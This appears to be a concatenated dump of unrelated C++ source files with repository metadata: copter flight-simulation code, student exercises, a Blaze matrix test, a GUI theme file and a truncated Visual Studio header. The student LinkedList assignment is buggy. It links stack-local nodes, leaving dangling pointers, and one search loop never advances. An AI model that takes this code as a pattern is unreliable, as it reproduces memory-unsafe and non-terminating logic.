if (throttle_in < k_param_radio_trim)
return 0.0f;
else
return copter_utils::Remap(throttle_in,
k_param_radio_trim, k_param_radio_max,
0.0f, throttle_max);
} else
return copter_utils::Remap(throttle_in,
k_param_radio_min, k_param_radio_max,
0.0f, throttle_max);
}
}
void HybridCopter::SetRadioInput(Eigen::Vector4i rpyt_in, int mode_switch) {
if (_flight_controller == FlightController::QuadPlane) {
// handle roll, pitch, yaw, throttle input
float roll_in = (float)rpyt_in[0];
float pitch_in = (float)rpyt_in[1];
float yaw_in = (float)rpyt_in[2];
float throttle_in = (float)rpyt_in[3];
_roll_in = copter_utils::Remap(roll_in, k_param_radio_min, k_param_radio_max,
copter_utils::degree2radian(k_param_roll_pitch_angle_min),
copter_utils::degree2radian(k_param_roll_pitch_angle_max));
if (_flight_mode == FlightMode::COPTER_MODE) {
_pitch_in = copter_utils::Remap(pitch_in, k_param_radio_min, k_param_radio_max,
copter_utils::degree2radian(k_param_roll_pitch_angle_min),
copter_utils::degree2radian(k_param_roll_pitch_angle_max));
_yaw_in = copter_utils::Remap(yaw_in, k_param_radio_min, k_param_radio_max,
k_param_yaw_rate_min, k_param_yaw_rate_max);
}
else if (_flight_mode == FlightMode::GLIDING_MODE) {
if (_throttle_activated)
_pitch_in = copter_utils::degree2radian(10);
else
_pitch_in = copter_utils::Remap(pitch_in, k_param_radio_min, k_param_radio_max,
copter_utils::degree2radian(k_param_roll_pitch_angle_min),
copter_utils::degree2radian(k_param_roll_pitch_angle_max));
_yaw_in = _roll_in * 2.0;
}
_throttle_in = SafeStart(throttle_in, k_param_altitude_rate_min, k_param_altitude_rate_max);
// handle mode switch
FlightMode new_flight_mode;
if (mode_switch == 0) new_flight_mode = FlightMode::COPTER_MODE;
else new_flight_mode = FlightMode::GLIDING_MODE;
_pid_quadplane_controller.set_mode(_flight_mode);
if (new_flight_mode != _flight_mode) {
_flight_mode = new_flight_mode;
_in_transition = true;
_throttle_activated = false;
}
}
else if (_flight_controller == FlightController::NN) {
// handle vx, vy, vz and yaw input
_vy_in = 0.0f;
// _vx_in = -std::min(SafeStart((float)rpyt_in(1), k_param_vx_min, k_param_vx_max, false), 0.0f);
if (rpyt_in(1) > k_param_radio_trim) {
_vx_in = copter_utils::Remap((float)rpyt_in(1), k_param_radio_trim, k_param_radio_max, 0.0, k_param_vx_min);
} else {
_vx_in = copter_utils::Remap((float)rpyt_in(1), k_param_radio_min, k_param_radio_trim, k_param_vx_max, 0.0);
}
_yaw_in = 0.0f;
_vz_in = copter_utils::Remap((float)rpyt_in(3), k_param_radio_min, k_param_radio_max, k_param_vz_max, k_param_vz_min);
_vy_in = copter_utils::Remap((float)rpyt_in(0), k_param_radio_min, k_param_radio_max, k_param_vy_min, k_param_vy_max);
_target_yaw_diff += copter_utils::Remap((float)rpyt_in(2), k_param_radio_min, k_param_radio_max, -1.0, 1.0) * 0.0025;
}
}
void HybridCopter::ComputeMassProperty(float& mass, Eigen::Matrix3f& inertia_body) {
// assume the COM is at origin
/* compute mass */
mass = 0.0;
// add copter mesh mass
auto body_mesh_mass = _copter_mesh.body_mesh_mass();
for (int i = 0;i < body_mesh_mass.size();++i)
mass += body_mesh_mass[i];
// add motor mass
for (int i = 0;i < _rotors.size();++i)
mass += _rotors[i].mass();
// add battery mass
mass += _battery_mass;
/* compute inertia */
inertia_body.setZero();
// add copter mesh inertia
auto body_mesh = _copter_mesh.body_mesh();
for (int i = 0;i < body_mesh.size();++i) {
double submass = body_mesh_mass[i];
std::vector<Eigen::Vector3f>& vertices = body_mesh[i].vertices();
for (int j = 0;j < vertices.size();++j) {
const Eigen::Vector3f r = vertices[j];
const Eigen::Matrix3f skew_r = copter_utils::SkewMatrix(r);
inertia_body -= skew_r * skew_r * (submass / (float)vertices.size());
}
}
// add motor inertia
for (int i = 0;i < _rotors.size();++i) {
const Eigen::Vector3f r = _rotors[i].position_body_frame();
const Eigen::Matrix3f skew_r = copter_utils::SkewMatrix(r);
inertia_body -= skew_r * skew_r * _rotors[i].mass();
}
// add battery inertia
{
const Eigen::Matrix3f skew_r = copter_utils::SkewMatrix(_battery_pos);
inertia_body -= skew_r * skew_r * _battery_mass;
}
}
bool HybridCopter::LoadFromConfigFile(std::string config_file_name) {
#ifndef QUADROTOR_DEBUG
// The center of mass should lie at origin
// The config file format:
// Line 1: obj parts directory
// Line 2: The scale factor(double).
// Line 3: Wing direction
// Line 4: Wing area
// Line 5: angle of attack 0
// Line 6: aerodynamic center
// Line 7: The number of propellers N(int).
// Line 8 - N + 7: Each line contains 7 double numbers (dx, dy, dz, x, y, z,
// is_cw, weight), where (dx, dy, dz) is the orientation of the propeller, (x, y, z)
// is the position, is_cw is boolean indicating if propeller spin clockwise,
// weight is the mass of the motor+propeller
// The part_list file format:
// each line: mesh file name, mesh name, mesh mass
std::string config_file_directory = copter_utils::get_parent_directory(config_file_name);
CopterMesh copter_mesh;
std::vector<std::string> mesh_names;
Eigen::Vector3f wing_direction;
float wing_area, angle_of_attack0;
Eigen::Vector3f aerodynamic_center;
float battery_mass;
Eigen::Vector3f battery_pos;
std::vector<Eigen::Vector3f> rotor_positions;
std::vector<Eigen::Vector3f> rotor_directions;
std::vector<int> rotor_spin_directions;
std::vector<float> rotor_mass;
std::ifstream config_file(config_file_name);
if (config_file.fail())
return false;
{
mesh_names.clear();
std::string mesh_directory;
config_file >> mesh_directory;
std::ifstream part_list_file(config_file_directory + mesh_directory + "/part_list.txt");
std::string mesh_file_name, mesh_name;
float mass;
while (part_list_file >> mesh_file_name >> mesh_name >> mass) {
std::string mesh_file_dir = config_file_directory + mesh_directory + "/" + mesh_file_name + ".obj";
mesh_names.push_back(mesh_name);
copter_mesh.body_mesh_mass().push_back(mass);
std::vector<tinyobj::shape_t> obj_shape;
std::vector<tinyobj::material_t> obj_material;
tinyobj::attrib_t attrib;
std::string err;
tinyobj::LoadObj(&attrib, &obj_shape, &obj_material, &err, mesh_file_dir.c_str());
copter_utils::SurfaceMesh part_mesh;
for (int j = 0;j < (int)attrib.vertices.size() / 3;++j) {
part_mesh.vertices().push_back(Eigen::Vector3f(attrib.vertices[j * 3],
attrib.vertices[j * 3 + 1],
attrib.vertices[j * 3 + 2]));
}
for (int j = 0;j < (int)obj_shape[0].mesh.indices.size() / 3;++j) {
part_mesh.elements().push_back(Eigen::Vector3i(obj_shape[0].mesh.indices[j * 3].vertex_index,
obj_shape[0].mesh.indices[j * 3 + 1].vertex_index,
obj_shape[0].mesh.indices[j * 3 + 2].vertex_index));
}
copter_mesh.body_mesh().push_back(part_mesh);
}
part_list_file.close();
}
// scale the meshes
float scale_factor;
{
config_file >> scale_factor;
copter_mesh.Scale(scale_factor);
}
// load wing info
{
config_file >> wing_direction[0] >> wing_direction[1] >> wing_direction[2];
config_file >> wing_area;
config_file >> angle_of_attack0;
config_file >> aerodynamic_center[0] >> aerodynamic_center[1] >> aerodynamic_center[2];
aerodynamic_center *= scale_factor;
}
// load battery info
{
config_file >> battery_mass;
config_file >> battery_pos(0) >> battery_pos(1) >> battery_pos(2);
}
// load propeller info
{
rotor_positions.clear();
rotor_directions.clear();
rotor_spin_directions.clear();
int propeller_num;
config_file >> propeller_num;
for (int i = 0;i < propeller_num;++i) {
Eigen::Vector3f pos;
Eigen::Vector3f dir;
int spin_direction;
float _rotor_mass;
config_file >> pos(0) >> pos(1) >> pos(2);
config_file >> dir(0) >> dir(1) >> dir(2);
config_file >> spin_direction;
config_file >> _rotor_mass;
pos *= scale_factor;
rotor_positions.push_back(pos);
rotor_directions.push_back(dir);
rotor_spin_directions.push_back(spin_direction);
rotor_mass.push_back(_rotor_mass);
}
}
// Translate so that its center of mass is at the origin.
{
// Compute COM first
Eigen::Vector3f copter_torque(0.0f, 0.0f, 0.0f);
copter_torque += copter_mesh.Center() * copter_mesh.Mass();
copter_torque += battery_pos * battery_mass;
for (int i = 0; i < (int)rotor_positions.size(); ++i)
copter_torque += rotor_positions[i] * rotor_mass[i];
float copter_mass = copter_mesh.Mass() + battery_mass;
for (auto &mass : rotor_mass)
copter_mass += mass;
auto frame_center = copter_torque / copter_mass;
copter_mesh.Translate(-frame_center);
for (int i = 0;i < rotor_positions.size();++i)
rotor_positions[i] -= frame_center;
aerodynamic_center -= frame_center;
battery_pos -= frame_center;
}
config_file.close();
// copy data to store
_copter_mesh = copter_mesh;
if (_noisy_motor_direction) {
for (int i = 0;i < rotor_directions.size();i++) {
float angle_x = Random::normal<float>(0.0, 0.07);
rotor_directions[i] = Eigen::AngleAxisf(angle_x, Eigen::Vector3f(1, 0, 0)) * rotor_directions[i];
std::cerr << "noisy angle_x = " << angle_x / PI * 180.0 << std::endl;
}
float angle_y = Random::normal<float>(0.0, 0.1);
for (int i = 0;i < rotor_directions.size();i++) {
rotor_directions[i] = Eigen::AngleAxisf(angle_y, Eigen::Vector3f(0, 1, 0)) * rotor_directions[i];
}
std::cerr << "common angle_y = " << angle_y / PI * 180.0 << std::endl;
// for (int i = 0;i < rotor_directions.size();i++) {
// if (i == 0 || i == 1) {
// float angle_y = Random::normal<float>(0.0, 0.01);
// rotor_directions[i] = Eigen::AngleAxisf(angle_y, Eigen::Vector3f(0, 1, 0)) * rotor_directions[i];
// std::cerr << "noisy angle_y = " << angle_y / PI * 180.0 << std::endl;
// }
// if (i == 2) {
// rotor_directions[i] = rotor_directions[1];
// }
// if (i == 3) {
// rotor_directions[i] = rotor_directions[0];
// }
// }
}
for (int i = 0;i < rotor_positions.size();++i) {
if (_noisy_motor_position) {
for (int j = 0;j < 3;++j)
rotor_positions[i](j) = rotor_positions[i](j) + Random::normal<float>(0.0, 0.02);
}
_rotors.push_back(Rotor(rotor_directions[i], rotor_positions[i],
rotor_spin_directions[i] == 0, rotor_mass[i]));
}
_aero_database.Initialize(angle_of_attack0, wing_area, 0.0, aerodynamic_center);
_wing_direction = wing_direction;
_battery_mass = battery_mass;
_battery_pos = battery_pos;
return true;
#else
CopterMesh copter_mesh;
std::vector<std::string> mesh_names;
std::string config_file_directory = copter_utils::get_parent_directory(config_file_name);
mesh_names.clear();
std::string mesh_file_dir = config_file_directory + "DJI_F450/F450_course.obj";
mesh_names.push_back("F450");
copter_mesh.body_mesh_mass().push_back(1.0);
std::vector<tinyobj::shape_t> obj_shape;
std::vector<tinyobj::material_t> obj_material;
tinyobj::attrib_t attrib;
std::string err;
tinyobj::LoadObj(&attrib, &obj_shape, &obj_material, &err, mesh_file_dir.c_str());
copter_utils::SurfaceMesh part_mesh;
for (int j = 0;j < (int)attrib.vertices.size() / 3;++j) {
part_mesh.vertices().push_back(Eigen::Vector3f(attrib.vertices[j * 3],
-attrib.vertices[j * 3 + 1],
-attrib.vertices[j * 3 + 2]));
}
for (int j = 0;j < (int)obj_shape[0].mesh.indices.size() / 3;++j) {
part_mesh.elements().push_back(Eigen::Vector3i(obj_shape[0].mesh.indices[j * 3].vertex_index,
obj_shape[0].mesh.indices[j * 3 + 1].vertex_index,
obj_shape[0].mesh.indices[j * 3 + 2].vertex_index));
}
copter_mesh.body_mesh().push_back(part_mesh);
_copter_mesh = copter_mesh;
_rotors.clear();
_rotors.push_back(Rotor(Eigen::Vector3f(0, 0, -1), Eigen::Vector3f(0.16251, 0.16249, -0.03587), 1, 0.0));
_rotors.push_back(Rotor(Eigen::Vector3f(0, 0, -1), Eigen::Vector3f(-0.16249, -0.16251, -0.03587), 1, 0.0));
_rotors.push_back(Rotor(Eigen::Vector3f(0, 0, -1), Eigen::Vector3f(0.16251, -0.16251, -0.03587), 0, 0.0));
_rotors.push_back(Rotor(Eigen::Vector3f(0, 0, -1), Eigen::Vector3f(-0.16249, 0.16249, -0.03587), 0, 0.0));
_aero_database.Initialize(0, 0, 0.0, Eigen::Vector3f(0, 0, 0));
#endif
}
bool HybridCopter::LoadScript(const std::string &script_file_name) {
// Read from script file
std::ifstream ifs(script_file_name);
assert(ifs.is_open());
_script_targets.clear();
_script_timestamps.clear();
float t = 0.0f, dt, vx, vy, vz, yaw;
while (ifs >> dt >> vx >> vy >> vz >> yaw) {
_script_targets.emplace_back(Eigen::Vector4f(vx, vy, vz, yaw));
_script_timestamps.push_back(t += dt);
}
_script_step = 0;
return true;
}
} | [
"jiex@mit.edu"
] | jiex@mit.edu |
4b4997bfd46415c1937ceb6002a71e1b29acf5f2 | dbc0d719a70e12679276e2b8c325c3539f9123ce | /Day04/exam01/exam09.cpp | 1bfb36568bcae1fa44485848c7ec0d3f5fef7119 | [] | no_license | sazaset11/CS2018 | b83856f209ae6f4824b8a7040d0c509ca239a946 | 1b5fa008cb10516a8efabe10eea64d936899f369 | refs/heads/master | 2020-03-21T12:26:23.793508 | 2018-07-20T07:11:10 | 2018-07-20T07:11:10 | 138,552,405 | 0 | 0 | null | null | null | null | UHC | C++ | false | false | 984 | cpp | #include "stdafx.h"
#include <string>
int main()
{
char word1[100];
char word2[100] = {};
bool check = false;
int i = 0;
/*int a = 1, b = 2;
int *pa, *pb;
pa = &a;
pb = &b;
printf("%d\n%d\n%d\n", a, b, pa - pb);*/
scanf_s("%s", word1, sizeof(word1));
strcpy_s(word2, word1);
//printf("%s\n%s\n", word1, word2);
while (word1[i]) {
if (word1[i] == '@') {
if (!check) {
check = true;
i++;
if (!word1[i]) break;
}
else {
check = false;
}
}
if (check) {
word1[i] = '*';
}
i++;
}
printf("%s\n", word1);
int count = 0;
for (char test : word2) {
if (test == '@') count++;
}
if (count >= 2) {
char *pch1;
char *pch2;
pch1 = strchr(word2, '@');
pch2 = strrchr(word2, '@');
int min = pch1 - word2;
int max = pch2 - word2;
for (int i = min; i <= max; i++) {
if (word2[i] != '@') {
word2[i] = '*';
}
}
printf("%s\n", word2);
}
else {
printf("@를 2개이상 입력하세요\n");
}
return 0;
} | [
"sazaset12@gmail.com"
] | sazaset12@gmail.com |
7838e45e9a2381727c2acf56128254088b661a0d | c7cee638a3ab0bbc01e1c77d6e3416624fe58ffc | /Line_Reconstruction/linetri/include/linetri/frame.h | 94a7ee7e432bf8e651fae2bd5125b23e4a4a6046 | [] | no_license | lizhipro/Learn-SLAM | 1240d94ea0c895f1c987bbdccc56f70ae2efea76 | 5c543106dbea79a077b27893b549648b8f788fac | refs/heads/master | 2020-06-04T03:53:24.895911 | 2019-06-27T08:42:30 | 2019-06-27T08:42:30 | 191,863,187 | 2 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 412 | h | #ifndef FRAME_H
#define FRAME_H
#include "linetri/common_include.h"
#include "linetri/config.h"
#include "linetri/features.h"
namespace linetri{
class Frame
{
public:
Frame(){};
~Frame(){};
vector<KeyLine> lines;
Mat desc;
vector<int> data_id;
void addframe(Mat img, int num, vector<LineFeature>& lineset);
void initframe(Mat img, int num, vector<LineFeature>& lineset);
};
}
#endif | [
"2480038541@qq.com"
] | 2480038541@qq.com |
9b81590159b7dfaa0ed6af20a11de2e966c285f3 | 037d518773420f21d74079ee492827212ba6e434 | /blazetest/src/mathtest/dmatdmatadd/DHaDHb.cpp | 17db7ec63e7d4863da3afee87e94f8789cba178f | [
"BSD-3-Clause"
] | permissive | chkob/forked-blaze | 8d228f3e8d1f305a9cf43ceaba9d5fcd603ecca8 | b0ce91c821608e498b3c861e956951afc55c31eb | refs/heads/master | 2021-09-05T11:52:03.715469 | 2018-01-27T02:31:51 | 2018-01-27T02:31:51 | 112,014,398 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 4,019 | cpp | //=================================================================================================
/*!
// \file src/mathtest/dmatdmatadd/DHaDHb.cpp
// \brief Source file for the DHaDHb dense matrix/dense matrix addition math test
//
// Copyright (C) 2012-2018 Klaus Iglberger - All Rights Reserved
//
// This file is part of the Blaze library. You can redistribute it and/or modify it under
// the terms of the New (Revised) BSD License. Redistribution and use in source and binary
// forms, with or without modification, are permitted provided that the following conditions
// are met:
//
// 1. Redistributions of source code must retain the above copyright notice, this list of
// conditions and the following disclaimer.
// 2. Redistributions in binary form must reproduce the above copyright notice, this list
// of conditions and the following disclaimer in the documentation and/or other materials
// provided with the distribution.
// 3. Neither the names of the Blaze development group nor the names of its contributors
// may be used to endorse or promote products derived from this software without specific
// prior written permission.
//
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY
// EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
// OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT
// SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,
// INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED
// TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR
// BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
// CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN
// ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH
// DAMAGE.
*/
//=================================================================================================
//*************************************************************************************************
// Includes
//*************************************************************************************************
#include <cstdlib>
#include <iostream>
#include <blaze/math/DiagonalMatrix.h>
#include <blaze/math/HybridMatrix.h>
#include <blazetest/mathtest/Creator.h>
#include <blazetest/mathtest/dmatdmatadd/OperationTest.h>
#include <blazetest/system/MathTest.h>
//=================================================================================================
//
// MAIN FUNCTION
//
//=================================================================================================
//*************************************************************************************************
int main()
{
std::cout << " Running 'DHaDHb'..." << std::endl;
using blazetest::mathtest::TypeA;
using blazetest::mathtest::TypeB;
try
{
// Matrix type definitions
typedef blaze::DiagonalMatrix< blaze::HybridMatrix<TypeA,128UL,128UL> > DHa;
typedef blaze::DiagonalMatrix< blaze::HybridMatrix<TypeB,128UL,128UL> > DHb;
// Creator type definitions
typedef blazetest::Creator<DHa> CDHa;
typedef blazetest::Creator<DHb> CDHb;
// Running tests with small matrices
for( size_t i=0UL; i<=9UL; ++i ) {
RUN_DMATDMATADD_OPERATION_TEST( CDHa( i ), CDHb( i ) );
}
// Running tests with large matrices
RUN_DMATDMATADD_OPERATION_TEST( CDHa( 67UL ), CDHb( 67UL ) );
RUN_DMATDMATADD_OPERATION_TEST( CDHa( 128UL ), CDHb( 128UL ) );
}
catch( std::exception& ex ) {
std::cerr << "\n\n ERROR DETECTED during dense matrix/dense matrix addition:\n"
<< ex.what() << "\n";
return EXIT_FAILURE;
}
return EXIT_SUCCESS;
}
//*************************************************************************************************
| [
"klaus.iglberger@gmail.com"
] | klaus.iglberger@gmail.com |
e5815b213f4b7bc6f2ed918ef40ee5dd759933fb | 2a1d6dd834c7090301f181e2c63ed95cac1433da | /Assignment1/LinkedList.h | 07f92c4ac177e587c01f28de4c0624421257f4c9 | [] | no_license | gusfowler/cse-310-is-super-sporky | c0d1dbcd9c0f84a96e6a6ecbe66aa5218ae6f0e7 | a3be1efecde1fbecee11776031fd59a36b1cbbae | refs/heads/master | 2023-01-24T13:03:00.842853 | 2020-12-04T20:07:48 | 2020-12-04T20:07:48 | 292,693,140 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 7,975 | h | // Assignment: #1
// Your Name: August Fowler
// ASU ID: 1214774210
// ASU Email Address: amfowle3@asu.edu
// Description: Food linked list header file
#include <iostream>
#include <iomanip>
#include <string>
using namespace std;
//Food represents a food information
struct Food
{
string foodName;
int id;
double price;
struct Food* next;
};
//class LinkedList will contains a linked list of foods
class LinkedList
{
private:
struct Food* head;
public:
LinkedList();
~LinkedList();
bool isFound(int foodId);
bool add(string foodName, int foodId, double foodPrice);
bool removeById(int foodId);
bool removeByName(string foodName);
bool changeFoodName(int foodId, string newFoodName);
bool changeFoodPrice(int foodId, double newPrice);
void printFoodList();
};
//Constructor to initialize an empty linked list
LinkedList::LinkedList()
{
head = NULL;
}
//Destructor
//Before termination, the destructor is called to free the associated memory occupied by the existing linked list.
//It deletes all the nodes including the head and finally prints the number of nodes deleted by it.
//Return value: Prints the number of nodes deleted by it.
LinkedList::~LinkedList()
{
int foodCount = 0;
//----
if (this->head != NULL) {
struct Food* current = this->head;
while (current != NULL) {
struct Food* toDelete = current;
current = toDelete->next;
delete toDelete;
foodCount += 1;
}
}
//----
cout << "The number of deleted food items is: " << foodCount <<"\n";
}
//A function to identify whether the parameterized food is inside the LinkedList or not.
//Return true if it exists and false otherwise.
bool LinkedList::isFound(int foodId)
{
//----
bool isFound = false;
struct Food* current = this->head;
while (current != NULL) {
if (current->id == foodId) {
isFound = true;
break;
}
}
return isFound;
//----
}
//Creates a new node and inserts it into the list at the right place.
//It maintains an alphabetical ordering of foods by their names. Each
//food item has a unique id, if two food items have exactly the same name,
//then insert it into the list in the increasing order of their IDs.
//Return value: true if it is successfully inserted and false in case of failures.
bool LinkedList::add(string foodName, int foodId, double foodPrice)
{
//----
bool successful = false;
struct Food newFood;
newFood.foodName = foodName;
newFood.id = foodId;
newFood.price = foodPrice;
newFood.next = NULL;
if (this->head == NULL) {
this->head = &newFood;
successful = true;
cout << "added head" << '\t' << this->head->foodName << endl;
} else {
cout << "hit post head add" << endl;
struct Food* current = this->head;
cout << current->foodName << endl;
struct Food* previous = NULL;
int counter = 0;
while (current != NULL && successful == false) {
cout << "hit while" << endl;
int comparisonValue = foodName.compare(current->foodName);
cout << current->foodName << '\t' << comparisonValue << '\t' << foodName << endl;
if (comparisonValue == 0) {
if (newFood.id > current->id) {
if (previous != NULL) {
newFood.next = current;
previous->next = &newFood;
successful = true;
}
} else if (newFood.id < current->id) {
newFood.next = current->next;
current->next = &newFood;
successful = true;
}
} else if (comparisonValue > 0) {
if (previous != NULL) {
newFood.next = current;
previous->next = &newFood;
successful = true;
}
} else if (current->next == NULL) {
current->next = &newFood;
successful = true;
cout << "hit add in end" << endl;
}
previous = current;
current = current->next;
counter++;
}
}
return successful;
//----
}
//Removes the given food by Id from the list, releases the memory and updates pointers.
//Return true if it is successfully removed, false otherwise.
bool LinkedList::removeById(int foodId)
{
//----
bool successful = false;
struct Food* current = this->head;
struct Food* previous = NULL;
while (current != NULL) {
if (current->id == foodId) {
if (previous != NULL) {
previous->next = current->next;
delete current;
successful = true;
break;
} else {
this->head = current->next;
delete current;
successful = true;
break;
}
}
previous = current;
current = current->next;
}
return successful;
//----
}
//Removes the given food by name from the list, releases the memory and updates pointers.
//Return true if it is successfully removed, false otherwise. Note: all foods with
//the parameterized name should be removed from the list.
bool LinkedList::removeByName(string foodName)
{
//----
bool successful = false;
struct Food* current = this->head;
struct Food* previous = NULL;
while (current != NULL) {
if (current->foodName.compare(foodName) == 0) {
if (previous != NULL) {
previous->next = current->next;
delete current;
successful = true;
break;
} else {
this->head = current->next;
delete current;
successful = true;
break;
}
}
previous = current;
current = current->next;
}
return successful;
//----
}
//Modifies the name of the given Food item. Return true if it modifies successfully and
//false otherwise. Note: after changing a food name, the linked list must still be
//in alphabetical order of foods name
bool LinkedList::changeFoodName(int oldFoodId, string newFoodName)
{
//----
bool successful = false;
struct Food* current = this->head;
while (current != NULL) {
if (current->id == oldFoodId) {
struct Food tempFood = *current;
tempFood.foodName = newFoodName;
if(removeById(oldFoodId)) successful = add(tempFood.foodName, tempFood.id, tempFood.price);
break;
}
current = current->next;
}
return successful;
//----
}
//Modifies the price of the given food item. Return true if it modifies successfully and
//false otherwise.
bool LinkedList::changeFoodPrice(int foodId, double newPrice)
{
//----
bool successful = false;
struct Food* current = this->head;
while (current != NULL) {
if (current->id == foodId) {
current->price = newPrice;
}
current = current->next;
}
return successful;
//----
}
//Prints all the elements in the linked list starting from the head node.
void LinkedList::printFoodList()
{
//----
struct Food* current = this->head;
while (current != NULL) {
//printf("%-7s%5i$%7d.2", current->foodName, current->id, current->price);
cout << current << endl;
current = current->next;
}
//----
}
| [
"gus.fowler12@gmail.com"
] | gus.fowler12@gmail.com |
02c102ce665e7eebc024554e00476a2cfd4b5a17 | 3e60baa241867b4b96e25f1846b4dfdca5315bbc | /core/src/theme.cpp | d51cab3a23c42e51f83a3b4d4a12aaf1f451cd32 | [
"Apache-2.0"
] | permissive | lin2010304125/GuiLite | 065da415d863b3b2d21b22bc8a25d807074ca78a | 7639669b41e16a5583fe9c968e4a4e8a969a4650 | refs/heads/master | 2023-06-07T11:29:06.393773 | 2019-04-25T04:45:04 | 2019-04-25T04:45:04 | 183,560,122 | 0 | 0 | Apache-2.0 | 2020-01-01T13:07:29 | 2019-04-26T05:01:57 | C++ | UTF-8 | C++ | false | false | 1,293 | cpp | #include "core_include/api.h"
#include "core_include/rect.h"
#include "core_include/resource.h"
#include "core_include/theme.h"
static const FONT_INFO* s_font_map[FONT_MAX];
static const BITMAP_INFO* s_bmp_map[BITMAP_MAX];
static unsigned int s_color_map[COLOR_MAX];
int c_theme::add_font(FONT_TYPE index, const FONT_INFO* font)
{
if (index >= FONT_MAX)
{
ASSERT(FALSE);
return -1;
}
s_font_map[index] = font;
return 0;
}
const FONT_INFO* c_theme::get_font(FONT_TYPE index)
{
if (index >= FONT_MAX)
{
ASSERT(FALSE);
return NULL;
}
return s_font_map[index];
}
int c_theme::add_bitmap(BITMAP_TYPE index, const BITMAP_INFO* bmp)
{
if (index >= BITMAP_MAX)
{
ASSERT(FALSE);
return -1;
}
s_bmp_map[index] = bmp;
return 0;
}
const BITMAP_INFO* c_theme::get_bmp(BITMAP_TYPE index)
{
if (index >= BITMAP_MAX)
{
ASSERT(FALSE);
return NULL;
}
return s_bmp_map[index];
}
int c_theme::add_color(COLOR_TYPE index, const unsigned int color)
{
if (index >= COLOR_MAX)
{
ASSERT(FALSE);
return -1;
}
s_color_map[index] = color;
return 0;
}
const unsigned int c_theme::get_color(COLOR_TYPE index)
{
if (index >= COLOR_MAX)
{
ASSERT(FALSE);
return NULL;
}
return s_color_map[index];
} | [
"idea4good@outlook.com"
] | idea4good@outlook.com |
1234528fd1c89a79c6c7f3bcdaf08869c63029a3 | 5f63ca6a159239704001e9d53816c6f4139af8a9 | /C++/chiahetcho5.cpp | 4f3705e1302b37566ea14d88d0b90205e4608a41 | [] | no_license | buihuy17/Test | d9125a589941a39a830283c1dd0b6cb57f002a25 | d9f8969a7855e5024d3a7e67a778e75bb697b5b4 | refs/heads/main | 2023-08-24T03:40:55.004530 | 2021-09-23T08:07:14 | 2021-09-23T08:07:14 | 409,489,273 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 479 | cpp | #define ll long long
#include <bits/stdc++.h>
using namespace std;
main()
{
int t;
cin >> t;
cin.ignore();
while (t--)
{
string s;
getline(cin, s);
ll sum = 0;
ll n = s.length();
for (int i = n-1; i >=0; i--)
{
s[i]-=48;
sum+=s[i]*pow(2,i);
}
if (sum % 5 == 0)
cout << "Yes";
else
cout << "No";
cout << endl;
}
return 0;
} | [
"buivanhuy0971188942@gmail.com"
] | buivanhuy0971188942@gmail.com |
8d252d621b828c7306d4c4324af8c51ee30bf42b | 5c6194e025346e672d8d6d760d782eed0e61bb7d | /developer/VSSDK/VisualStudioIntegration/Common/Source/CPP/VSL/Include/VSLFile.h | 6a8308d8f194050e3be2ebd7c1d7386cdcda0ae8 | [
"MIT"
] | permissive | liushouhuo/windows | 888c4d9f8ae37ff60dd959eaf15879b8afdb161f | 9e211d0cd5cacbd62c9c6ac764a6731985d60e26 | refs/heads/master | 2021-09-03T06:34:51.320672 | 2018-01-06T12:48:51 | 2018-01-06T12:48:51 | null | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 25,754 | h | /***************************************************************************
Copyright (c) Microsoft Corporation. All rights reserved.
This code is licensed under the Visual Studio SDK license terms.
THIS CODE IS PROVIDED *AS IS* WITHOUT WARRANTY OF
ANY KIND, EITHER EXPRESS OR IMPLIED, INCLUDING ANY
IMPLIED WARRANTIES OF FITNESS FOR A PARTICULAR
PURPOSE, MERCHANTABILITY, OR NON-INFRINGEMENT.
This code is a part of the Visual Studio Library.
***************************************************************************/
#ifndef VSLFILE_H_10C49CA1_2F46_11D3_A504_00C04F5E0BA5
#define VSLFILE_H_10C49CA1_2F46_11D3_A504_00C04F5E0BA5
#if _MSC_VER > 1000
#pragma once
#endif
// VSL includes
#include <VSLVsSite.h>
// ATL includes
#include <ATLFile.h>
namespace VSL
{
class File
{
public:
File() :
m_szFullPathName(),
m_hFile()
{
}
// Transfers ownership of the handle
// Having the parameter be const allows it to work correctly with STL containers
File(_In_ const File& file) :
m_szFullPathName(const_cast<File&>(file).m_szFullPathName),
m_hFile(const_cast<File&>(file).m_hFile)
{
}
// Does not open the file handle
explicit File(_In_z_ const wchar_t* szFullPathName) :
m_szFullPathName(szFullPathName),
m_hFile()
{
}
const ATL::CStringW& GetFullPathName() const
{
return m_szFullPathName;
}
ATL::CStringW& GetFullPathName()
{
return m_szFullPathName;
}
operator const wchar_t*() const
{
return m_szFullPathName;
}
bool IsFileReadOnly()
{
VSL_CHECKBOOLEAN(!m_szFullPathName.IsEmpty(), E_FAIL);
DWORD dwAttr = ::GetFileAttributesW(m_szFullPathName);
VSL_CHECKBOOLEAN_GLE(dwAttr != 0);
return (dwAttr & FILE_ATTRIBUTE_READONLY);
}
void Create(
_In_ DWORD dwDesiredAccess,
_In_ DWORD dwShareMode,
_In_ DWORD dwCreationDisposition,
_In_ DWORD dwFlagsAndAttributes = FILE_ATTRIBUTE_NORMAL,
_In_opt_ LPSECURITY_ATTRIBUTES lpsa = NULL,
_In_opt_ HANDLE hTemplateFile = NULL)
{
VSL_CHECKBOOLEAN(!m_szFullPathName.IsEmpty(), E_FAIL);
HRESULT hr = m_hFile.Create(
